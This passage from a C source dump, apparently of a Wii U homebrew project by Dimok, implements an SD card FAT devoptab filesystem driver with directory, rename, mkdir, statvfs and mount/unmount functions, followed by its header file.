static int sd_fat_chdir_r (struct _reent *r, const char *name)
{
sd_fat_private_t *dev = sd_fat_get_device_data(name);
if(!dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(dev->pMutex);
char *real_path = sd_fat_real_path(name, dev);
if(!real_path) {
r->_errno = ENOMEM;
OSUnlockMutex(dev->pMutex);
return -1;
}
int result = FSChangeDir(dev->pClient, dev->pCmd, real_path, -1);
free(real_path);
OSUnlockMutex(dev->pMutex);
if(result < 0) {
r->_errno = result;
return -1;
}
return 0;
}
static int sd_fat_rename_r (struct _reent *r, const char *oldName, const char *newName)
{
sd_fat_private_t *dev = sd_fat_get_device_data(oldName);
if(!dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(dev->pMutex);
char *real_oldpath = sd_fat_real_path(oldName, dev);
if(!real_oldpath) {
r->_errno = ENOMEM;
OSUnlockMutex(dev->pMutex);
return -1;
}
char *real_newpath = sd_fat_real_path(newName, dev);
if(!real_newpath) {
r->_errno = ENOMEM;
free(real_oldpath);
OSUnlockMutex(dev->pMutex);
return -1;
}
int result = FSRename(dev->pClient, dev->pCmd, real_oldpath, real_newpath, -1);
free(real_oldpath);
free(real_newpath);
OSUnlockMutex(dev->pMutex);
if(result < 0) {
r->_errno = result;
return -1;
}
return 0;
}
static int sd_fat_mkdir_r (struct _reent *r, const char *path, int mode)
{
sd_fat_private_t *dev = sd_fat_get_device_data(path);
if(!dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(dev->pMutex);
char *real_path = sd_fat_real_path(path, dev);
if(!real_path) {
r->_errno = ENOMEM;
OSUnlockMutex(dev->pMutex);
return -1;
}
int result = FSMakeDir(dev->pClient, dev->pCmd, real_path, -1);
free(real_path);
OSUnlockMutex(dev->pMutex);
if(result < 0) {
r->_errno = result;
return -1;
}
return 0;
}
static int sd_fat_statvfs_r (struct _reent *r, const char *path, struct statvfs *buf)
{
sd_fat_private_t *dev = sd_fat_get_device_data(path);
if(!dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(dev->pMutex);
// Zero out the stat buffer
memset(buf, 0, sizeof(struct statvfs));
char *real_path = sd_fat_real_path(path, dev);
if(!real_path) {
r->_errno = ENOMEM;
OSUnlockMutex(dev->pMutex);
return -1;
}
u64 size;
int result = FSGetFreeSpaceSize(dev->pClient, dev->pCmd, real_path, &size, -1);
free(real_path);
if(result < 0) {
r->_errno = result;
OSUnlockMutex(dev->pMutex);
return -1;
}
// File system block size
buf->f_bsize = 512;
// Fundamental file system block size
buf->f_frsize = 512;
// Total number of blocks on file system in units of f_frsize
buf->f_blocks = size >> 9; // this is unknown
// Free blocks available for all and for non-privileged processes
buf->f_bfree = buf->f_bavail = size >> 9;
// Number of inodes at this point in time
buf->f_files = 0xffffffff;
// Free inodes available for all and for non-privileged processes
buf->f_ffree = 0xffffffff;
// File system id
buf->f_fsid = (int)dev;
// Bit mask of f_flag values.
buf->f_flag = 0;
// Maximum length of filenames
buf->f_namemax = 255;
OSUnlockMutex(dev->pMutex);
return 0;
}
static DIR_ITER *sd_fat_diropen_r (struct _reent *r, DIR_ITER *dirState, const char *path)
{
sd_fat_private_t *dev = sd_fat_get_device_data(path);
if(!dev) {
r->_errno = ENODEV;
return NULL;
}
sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct;
OSLockMutex(dev->pMutex);
char *real_path = sd_fat_real_path(path, dev);
if(!real_path) {
r->_errno = ENOMEM;
OSUnlockMutex(dev->pMutex);
return NULL;
}
s32 dirHandle;
int result = FSOpenDir(dev->pClient, dev->pCmd, real_path, &dirHandle, -1);
free(real_path);
OSUnlockMutex(dev->pMutex);
if(result < 0)
{
r->_errno = result;
return NULL;
}
dirIter->dev = dev;
dirIter->dirHandle = dirHandle;
return dirState;
}
static int sd_fat_dirclose_r (struct _reent *r, DIR_ITER *dirState)
{
sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct;
if(!dirIter->dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(dirIter->dev->pMutex);
int result = FSCloseDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1);
OSUnlockMutex(dirIter->dev->pMutex);
if(result < 0)
{
r->_errno = result;
return -1;
}
return 0;
}
static int sd_fat_dirreset_r (struct _reent *r, DIR_ITER *dirState)
{
sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct;
if(!dirIter->dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(dirIter->dev->pMutex);
int result = FSRewindDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1);
OSUnlockMutex(dirIter->dev->pMutex);
if(result < 0)
{
r->_errno = result;
return -1;
}
return 0;
}
static int sd_fat_dirnext_r (struct _reent *r, DIR_ITER *dirState, char *filename, struct stat *st)
{
sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct;
if(!dirIter->dev) {
r->_errno = ENODEV;
return -1;
}
OSLockMutex(dirIter->dev->pMutex);
FSDirEntry * dir_entry = malloc(sizeof(FSDirEntry));
int result = FSReadDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, dir_entry, -1);
if(result < 0)
{
free(dir_entry);
r->_errno = result;
OSUnlockMutex(dirIter->dev->pMutex);
return -1;
}
// Fetch the current entry
strcpy(filename, dir_entry->name);
if(st)
{
memset(st, 0, sizeof(struct stat));
st->st_mode = (dir_entry->stat.flag & 0x80000000) ? S_IFDIR : S_IFREG;
st->st_nlink = 1;
st->st_size = dir_entry->stat.size;
st->st_blocks = (dir_entry->stat.size + 511) >> 9;
st->st_dev = dir_entry->stat.ent_id;
st->st_uid = dir_entry->stat.owner_id;
st->st_gid = dir_entry->stat.group_id;
st->st_ino = dir_entry->stat.ent_id;
st->st_atime = dir_entry->stat.mtime;
st->st_ctime = dir_entry->stat.ctime;
st->st_mtime = dir_entry->stat.mtime;
}
free(dir_entry);
OSUnlockMutex(dirIter->dev->pMutex);
return 0;
}
// SD device driver devoptab
static const devoptab_t devops_sd_fat = {
NULL, /* Device name */
sizeof (sd_fat_file_state_t),
sd_fat_open_r,
sd_fat_close_r,
sd_fat_write_r,
sd_fat_read_r,
sd_fat_seek_r,
sd_fat_fstat_r,
sd_fat_stat_r,
sd_fat_link_r,
sd_fat_unlink_r,
sd_fat_chdir_r,
sd_fat_rename_r,
sd_fat_mkdir_r,
sizeof (sd_fat_dir_entry_t),
sd_fat_diropen_r,
sd_fat_dirreset_r,
sd_fat_dirnext_r,
sd_fat_dirclose_r,
sd_fat_statvfs_r,
sd_fat_ftruncate_r,
sd_fat_fsync_r,
NULL, /* Device data */
NULL, /* sd_fat_chmod_r */
NULL, /* sd_fat_fchmod_r */
NULL /* sd_fat_rmdir_r */
};
static int sd_fat_add_device (const char *name, const char *mount_path, void *pClient, void *pCmd)
{
devoptab_t *dev = NULL;
char *devname = NULL;
char *devpath = NULL;
int i;
// Sanity check
if (!name) {
errno = EINVAL;
return -1;
}
// Allocate a devoptab for this device
dev = (devoptab_t *) malloc(sizeof(devoptab_t) + strlen(name) + 1);
if (!dev) {
errno = ENOMEM;
return -1;
}
// Use the space allocated at the end of the devoptab for storing the device name
devname = (char*)(dev + 1);
strcpy(devname, name);
// create private data
int mount_path_len = 0;
if(mount_path != NULL){
mount_path_len = strlen(mount_path);
}
sd_fat_private_t *priv = (sd_fat_private_t *)malloc(sizeof(sd_fat_private_t) + mount_path_len + 1);
if(!priv) {
free(dev);
errno = ENOMEM;
return -1;
}
devpath = (char*)(priv+1);
if(mount_path != NULL){
strcpy(devpath, mount_path);
}
// setup private data
priv->mount_path = devpath;
priv->pClient = pClient;
priv->pCmd = pCmd;
priv->pMutex = malloc(OS_MUTEX_SIZE);
if(!priv->pMutex) {
free(dev);
free(priv);
errno = ENOMEM;
return -1;
}
OSInitMutex(priv->pMutex);
// Setup the devoptab
memcpy(dev, &devops_sd_fat, sizeof(devoptab_t));
dev->name = devname;
dev->deviceData = priv;
// Add the device to the devoptab table (if there is a free slot)
for (i = 3; i < STD_MAX; i++) {
if (devoptab_list[i] == devoptab_list[0]) {
devoptab_list[i] = dev;
return 0;
}
}
// failure, free all memory
free(priv);
free(dev);
// If we reach here then there are no free slots in the devoptab table for this device
errno = EADDRNOTAVAIL;
return -1;
}
/*
Because of some weird reason unmounting doesn't work properly.
This fix if mainly when a usb drive is connected.
It resets the devoptab_list, otherwise mounting again would throw an exception (in strlen).
No memory is free'd here. Maybe a problem?!?!?
*/
void deleteDevTabsNames(){
const devoptab_t * devoptab = NULL;
u32 last_entry = (u32) devoptab_list[STD_MAX-1];
for (int i = 3; i < STD_MAX; i++) {
devoptab = devoptab_list[i];
if (devoptab) {
//log_printf("check devotab %d %08X\n",i,devoptab);
if((u32) devoptab != last_entry){
devoptab_list[i] = (const devoptab_t *)last_entry;
//log_printf("Removed devotab %d %08X %08X %08X\n",i,devoptab,devoptab->name,devoptab->deviceData);
}
}
}
}
static int sd_fat_remove_device (const char *path, void **pClient, void **pCmd, char **mountPath)
{
const devoptab_t *devoptab = NULL;
char name[128] = {0};
int i;
// Get the device name from the path
strncpy(name, path, 127);
strtok(name, ":/");
// Find and remove the specified device from the devoptab table
// NOTE: We do this manually due to a 'bug' in RemoveDevice
// which ignores names with suffixes and causes names
// like "ntfs" and "ntfs1" to be seen as equals
for (i = 3; i < STD_MAX; i++) {
devoptab = devoptab_list[i];
if (devoptab && devoptab->name) {
if (strcmp(name, devoptab->name) == 0) {
devoptab_list[i] = devoptab_list[0];
if(devoptab->deviceData)
{
sd_fat_private_t *priv = (sd_fat_private_t *)devoptab->deviceData;
if(pClient != NULL) *pClient = priv->pClient;
if(pCmd != NULL) *pCmd = priv->pCmd;
if(mountPath != NULL){
*mountPath = (char*) malloc(strlen(priv->mount_path)+1);
if(*mountPath)
strcpy(*mountPath, priv->mount_path);
}
if(priv->pMutex)
free(priv->pMutex);
free(devoptab->deviceData);
}
free((devoptab_t*)devoptab);
return 0;
}
}
}
return -1;
}
int mount_sd_fat(const char *path)
{
int result = -1;
// get command and client
void* pClient = malloc(FS_CLIENT_SIZE);
void* pCmd = malloc(FS_CMD_BLOCK_SIZE);
if(!pClient || !pCmd) {
// just in case free if not 0
if(pClient)
free(pClient);
if(pCmd)
free(pCmd);
return -2;
}
FSInit();
FSInitCmdBlock(pCmd);
FSAddClientEx(pClient, 0, -1);
char *mountPath = NULL;
if(MountFS(pClient, pCmd, &mountPath) == 0) {
result = sd_fat_add_device(path, mountPath, pClient, pCmd);
free(mountPath);
}
return result;
}
int unmount_sd_fat(const char *path)
{
void *pClient = 0;
void *pCmd = 0;
char *mountPath = 0;
int result = sd_fat_remove_device(path, &pClient, &pCmd, &mountPath);
if(result == 0)
{
UmountFS(pClient, pCmd, mountPath);
FSDelClient(pClient);
free(pClient);
free(pCmd);
free(mountPath);
//FSShutdown();
}
return result;
}
int mount_fake(){
return sd_fat_add_device("fake", NULL, NULL, NULL);
}
int unmount_fake(){
return sd_fat_remove_device ("fake", NULL,NULL,NULL);
}
================================================
FILE: src/fs/sd_fat_devoptab.h
================================================
/***************************************************************************
* Copyright (C) 2015
* by Dimok
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any
* damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any
* purpose, including commercial applications, and to alter it and
* redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you
* must not claim that you wrote the original software. If you use
* this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and
* must not be misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
***************************************************************************/
#ifndef __SD_FAT_DEVOPTAB_H_
#define __SD_FAT_DEVOPTAB_H_
#ifdef __cplusplus
extern "C" {
#endif
s32 mount_sd_fat(const char *path);
s32 unmount_sd_fat(const char *path);
#ifdef __cplusplus
}
#endif
#endif // __SD_FAT_DEVOPTAB_H_
================================================
FILE: src/game/GameLauncher.cpp
================================================
#include
#include
#include